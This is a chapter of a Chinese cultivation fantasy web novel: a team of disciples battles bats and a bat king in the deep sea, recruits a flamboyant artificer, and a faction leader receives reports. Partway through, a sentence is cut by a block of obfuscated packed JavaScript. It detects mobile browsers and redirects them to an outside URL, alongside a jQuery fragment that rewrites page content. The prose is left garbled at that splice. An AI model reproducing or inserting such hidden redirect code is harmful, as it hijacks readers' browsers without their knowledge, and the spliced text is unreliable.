幻境散去,祝松椿接住南锦书,薄薄的纱扫过手腕,带来一点轻微的痒。
无尽的海水涌上来的那一刻,她看到江衔月蹲在地上,李万郴两个女修闭目养神。站在前面的萧云笙先发现了她,快走几步迎上来。其余几个人带着点焦急跟在后头。
祝松椿简单解释两句,把人递给李万郴,在一旁坐下来,托着腮眼神不轻不重的落在南锦书身上。
李万郴皱着眉,银针铺开,极品木灵根的灵力顺着银针游荡四肢。
突然,一股温柔的灵力措不及防的撞了上来。
她手腕一转,主动避退了出去。
世家大族各有各的缘法,南家的大小姐肯定也有自己的秘密。
她默不作声下针,末了用灵力引出藤蔓缠绕,围在南锦书四周。
祝松椿端详着南锦书的眉眼,想到了和她第一次见面的时候。
那时的南锦书也是这么躺在一片藤蔓里,皱着眉,整个人蜷缩着,看起来状态很不好。
三月的天还是冷的,南锦书睁开眼把她扯到身边,问她冷不冷。
她那时浑身的刺,不信任何人,连眼前这个救她出炼狱的人都万分提防。
祝松椿忘了自己是怎么回答的了,只记得最后她住在了南锦书的侧房,成了这位大小姐最亲近的玩伴。
她总是喜欢看着她笑,带她出去买些孩童喜欢的零嘴,又或者只是出去走走,在人声鼎沸处隐藏起那些不安与彷徨。
大小姐身体状况很差,不出门的时候总是奄奄的躺在贵妃椅上,小脸瘦的吓人,喜欢让人在旁边读话本子,读到一半又把人赶出去。
莫名其妙的,祝松椿想。
后来一个难得的大晴天,南锦书从贵妃椅上坐起来,招手叫过祝松椿,开始一笔一划教人写字。
祝松椿以为自己会和那群说书的人一样,等兴趣消了就被挥到一旁,很神奇的是,大小姐对这件事情很感兴趣。
她把自己当成一个夫子又或者是其他什么角色,日日里教她写字读书,整个人也开始带了笑,看起来终于有点试炼场之外孩子的样子了。
直到五月,天气回暖,各色花卉绽放的时候,被家主带去一天的小姐终于回来了。
祝松椿进去的时候恍惚间以为这两个月是场梦,南锦书又躺在了藤蔓上,皱着眉,连呼吸都很轻。
祝松椿蹑手蹑脚的走了过去,试探性的摸了摸她的手。
“松椿。”
她被吓了一跳。却看见自家姑娘看着她。
“喜欢剑吗?”
祝松椿犹豫了一下,点了点头。她不知道小姐问这些是什么意思,但她看见小姐笑了。
苍白的嘴唇扯了上去,整个人带着点初春的暖意。
“我改天教你剑好不好。”
我会剑。
但你教,自是极好的。
从那天之后,南锦书每次消失又回来后总是带着她练剑。那些不能外传的南家剑法,像是最稀松平常的物件,被她随手抛过来。
后来祝松椿才意识到,南锦书那时候在自残。
她拖着残破的身体,一次次不知疲惫的拿起剑。
她不是在当夫子,她是在当自己的刽子手。
那时候她是在求死。
也是在求生。
她们彼此搀扶,走过多少春秋。
祝松椿乱七八糟的剑也开始能教南锦书了。
那段试验场挣扎的岁月好像也被抚平。
烈火与愤恨一同吞咽进身体。
直到十三岁那年,她又一次被送进试炼场。
当时祝松椿就明白,南锦书状态很差。
差到连祝松椿都要不过来。
“祝师姐。”
祝松椿回神,眼神里带着点笑意,和不远处的南锦书撞上眼神。
她的笑意更浓厚了一点。
李万郴瞧着,冲她晃了晃手里的银针。
祝松椿脸登时没了笑意。
她的法衣被划的破破烂烂,整个人像是脱水的鱼,浑身上下透露出一股哀怨来。
李万郴过来拉人,她体型壮硕,杀猪砍柴想来顺手,现在还捞不起个十八九少年来。
她叉着腰,诡异般的想明白了这人的心思,当下气的笑了出来。
“祝师姐。”
“你最好现在就自己爬起来。”
要不然我的针往哪里扎可就说不准了。
祝松椿略一想就明白了这个医术有限,毒针出名的意思,她慢吞吞的直起身子来,打商量道:“我刚刚吃了丹药,应该问题不大,不劳烦了。”
她这个人实在是不喜欢银针这种东西的,如果不是需求在,丹药她也不是很喜欢。
李万郴可不管她,把完脉后一不做二不休几根银针就飞了上来。
南锦书晃荡着过来,眼里带着揶揄。
祝松椿:“好点没?”
“我吉人有天相,自是万般都好。”
江衔月站在后面:“别贫了几位小姐,咱们该往前去了。”
他不知道什么时候换了一身月牙白似的长袍,手里拿了把白玉折扇,清清亮亮站在那还真有几分雅致公子的气势。
南锦书拽着祝松椿换了身法衣,一行人休息过来,起身准备走。
几人刚走没几步,就听见急跑的声音混某个人散漫的气息。
“哎呀,有同门吗?我应付不过来了,各位道友要帮个忙吗。”
他话是这么说着,整个人早已经马不停蹄过来了。
站在最前面的萧云笙和祝松椿当即拔剑。
落后一点的赵安行伸手把人拽过来,李万郴还没收起来的银针要扎不扎的横在那人眼前。
最后面的江衔月脚步变幻,做好了情况不对布阵的准备,南锦书拉了他一把,兽印先一步落在衣袍上。
萧家重剑划开海水,揽山河裹挟着燥热的风。
气势汹汹的两人抬眼碰上的是一群……
一群高修为的蝙蝠!?
萧云笙和祝松椿当即飞到两侧,一剑破万法的晓山青显然不适合群攻。祝松椿手腕一转,梨花雪炸开,和对面萧云笙的剑气互相震了一下。
潦草了……
身后的赵安行等人也被这密密麻麻的蝙蝠震撼了一下。两个符阵师和一个兽修呈包围状围起中间的两人。
赵安行和江衔月对视一眼,两人不要钱一样扔出符,脚下来回变幻,春山绿的寒时明月阵落下,形成一个巨大的包围圈。
南锦书:“金丹期的海夜蝙蝠,群居,一般都会有实力强悍的首领指挥。他们两个不一定能应付过来,安行,你在这边看着,我跟江衔月过去。”
“你来守。”
赵安行扭了扭手腕,整个人莫名有了股弑杀的气息。
“你刚受伤,不适合往前冲。”
不等南锦书说话,她就像离弦的箭一样飞了过去,几个符纸悬挂在祝松椿身侧,猩红色的符文泛起摄人的光芒。
南锦书微不可查的皱了皱眉,上前一步,双手上下翻飞,深蓝色的灵力缠绕在海水上。细如发丝,顺着海水流淌的力量,盖在海夜蝙蝠上。
李万郴看事态控制住了,拉起眼前人把脉。
不远处的祝松椿按着赵安行的指挥刚布好阵,眼前的妖兽陡然像发了疯一般,敌我不分的攻击起来。
江衔月落在了萧云笙身后,淡绿色的灵力缠绕上来:“当心,蝙蝠王过来了。”
话音落下的瞬间,强大的威压撞了满身。
“祝师姐,站左侧方位。”
祝松椿想要往前冲的身形一滞,利落站去左侧。一回头,正好看到了那只蝙蝠王。
长三尺,浑身漆黑,生六眼,青足,又有赤角。
怎么长的乱七八糟的?
她一边神游天外,手下的剑却一招连着一招。
祝松椿本身根基差些,又经历恶斗,看赵安行点头,整个人才冲上去。
赵安行看了眼江衔月,密密麻麻的符文闪的眼疼,觉得这人实在是个闷着骚的,连撑个增强阵法都花里胡哨,当下身形变幻,跟上祝松椿。
细细的丝线无声无息的垂下,她如鬼魅一般,转眼间落在了祝松椿身后。
这个蝙蝠王实力明显高上一筹,之前被那人纠缠,很可能受过伤,现在正适合给祝松椿练手。
另一边的江衔月和萧云笙打着配合,脚下的石头摞成了堆。
赵安行估摸着祝松椿的极限,瘦小的身形像条鱼样融入深海,猩红色的光芒闪烁又泯灭,天雷玄灭符露出黄色的角。
祝松椿抬手抹去嘴角的血,感觉整个人像是要炸了一样,灵力蓬勃的几乎充盈每一寸经脉。
她一次次举剑,毫不相干的三派剑法在不停歇的转换间竟隐隐有了共通之处。
祝松椿吐出一口气,滚烫的火焰再一次灼烧上来。金丹黯淡后又明亮,直到晓山青最后一式斩下。
“祝师姐,后退!”
“轰隆!”
紫色的电光贯彻深海,本就奄奄一息的蝙蝠王登时化为灰烬。
四周皆静,雷电残留的威力还在顺着海水的方向流散开来。
江衔月陡然抬头,细细的电流在经脉里流转。
萧云笙斩杀了最后一只蝙蝠。
尸山血海前,四个人都筋疲力尽。
此间战斗总算平歇,萧云笙握着剑觉得该问问那位奇人异事。
刚一回头,想问的事自己就解了个七七八八。
无他,这人实在太好认了。
金黄色的卷发柔顺的披下,海清色的眼睛总带着一点轻佻的笑意,再加上他身上仅有的孔雀蓝色的薄纱……
器修,符疏林。
一个入门一个月炸了三个山头的狠人。
说是凡俗西
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787408|190548||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
域地界的人,善歌舞饮酒,平素行为放荡不堪。
萧云笙退后一步,决计要跟此男子拉开点距离。
江衔月面带微笑,心里叹了口气,虽然觉得那几位女郎对这人装束无感,但他一个男性站在这了,总不能再把人推上去。
他上前一步,正准备开口,就听见南锦书的声音。
“符道友。”
她抱着胸,笑眯眯的。
“我见识浅薄,倒不知道这海夜蝙蝠也会无缘无故攻击人呢。”
人还没喘几口舒坦气呢就被这人招来的东西糊了一脸,今天不让这人吐出点宝贝了她就不姓南。
符疏林微微咳嗽两声,整个人瞬间带了点病怏怏的气息:“实不相瞒,这海夜蝙蝠看我面善好欺,刻意为难,若不是今日有幸碰到几位侠士,我如今恐怕就是枯骨一具了。”
南锦书:“哦。”
祝松椿:“哦。”
李万郴扯起笑,涂了毒药的银针横在符疏林脖子。
江衔月脸僵了僵,要不说有些人能凑到一块呢,心肝黑红都一样。
江衔月:“符道友,杀人夺宝在修仙界可不是什么新鲜事啊。”
“江道友,咱们同门之间,哪能打打杀杀的,有什么事肯定是相互帮忙的。”
这人笑的眉眼弯弯,眼睛里略微闪着细碎的光细长葱白的手指状似无意的推了推银针。
李万郴听完倒也笑了,手腕一转,漆黑的匕首代替了银针:“既然这样的话,符道友有什么好东西可要给我们分享分享啊。”
“咳咳。”
符疏林又咳嗦两声:“要不说诸位是我福星呢,我突然想起在蝙蝠洞里拾了枚夜明珠。不如这样,咱们相逢即是缘,我与各位道友平分一下如何。”
一枚泛着莹白色的珠子落在符疏林手里,带着暖潮湿的灵力。
海夜蝙蝠守护的上品海升明月,一个放到丹修、阵修、器修手里都得被疯抢的玩意。
南锦书抬头看了一圈,给李万郴打了个眼神。
漆黑的匕首总算离开了纤细薄弱的脖颈,符疏林活动了活动,开始跟人打商量:“我虽是器修,这玩意用处却不大,不如这样,我将此物送于诸位……”
他向前一步,举起双手,整个人展现出一个毫不设防的姿态:“今天我拿海升明月当敲门砖,换与诸位同行。可好?”
这人生的确实漂亮的过分,笑着看人的时候总带着点深情,好像隔着茫茫海雾诉说着思念。
刚进春山绿的时候就有人问过他为什么不去合欢宗,直到看着这人抡圆了膀子在那打铁。
瞬间什么风花雪月的幻想都没了,只剩下人不可貌相的惊叹。
不过显然南锦书很不吃这套。
南锦书:“凭什么?”
符疏林后退半步,打商量:“能修理提供武器、限制对面、防御力高,最重要的是,”他轻轻眨了下眼睛,“我三个芥子袋,全是阴损玩意。”
萧云笙扯了扯嘴角,想起旁边这几个人的路数,心里咯噔一下。
南锦书跟几个人交换眼神,见到彼此都是赞同,开口:“你好啊,队友。”
她这句话很没重量,说完就伸了个懒腰,一边喊着“松椿”,一边往人身上靠,整个人看起来又是那副没骨头的样子。
几个人在那分摊“赃物”。
符疏林落后几步,跟萧云笙套近乎。
南锦书:“分好了吗?可以了我们就继续往下走。”
南锦书和祝松椿走在最前面,萧云笙、江衔月和赵安行断后,最中间的丹修、器修被呈保护姿态围绕着。
深深浅浅的法术痕迹,红红绿绿的在深海中折射出摄人的光芒。
这一道绿色沿着山河走势,借着炎热夏风,一路直达玉和殿。
楼雪尽手腕下压着一枚传音符,事无巨细的说着这段时间各个地界的动静。
桌子上铺着一副天地玄坤图,按理只占一方地界的寒刃宗却几乎占满了整个西部。旁边“顾寒夏”三个大字更是入骨三分,显示出一种狰狞的恶意来。
楼雪尽打断对面:“天地玄坤图是从哪里来的?”
“萧云念拿去黑市上卖,我们买过来的。”
楼雪尽写字的手一顿,感慨道:“萧家主真是福泽深厚,生了两个给他养老送终的好孩子。”
对面:……
养老不一定,送终倒是快了。
“没事,你继续。”
对面也不知道从哪里打探来的消息,喋喋不休说老半天,楼雪尽揉太阳穴,好几次想开口打断,却还是不了了之。
“还有其他事吗?”
“没有了,哎那个……”
楼雪尽抬手把传音符灭了。她太清楚对面的德性,重要的都说完了,要是还不灭,对面能天南海北的说半桶。
让她去干这档子事,说不上是好处多还是坏处多。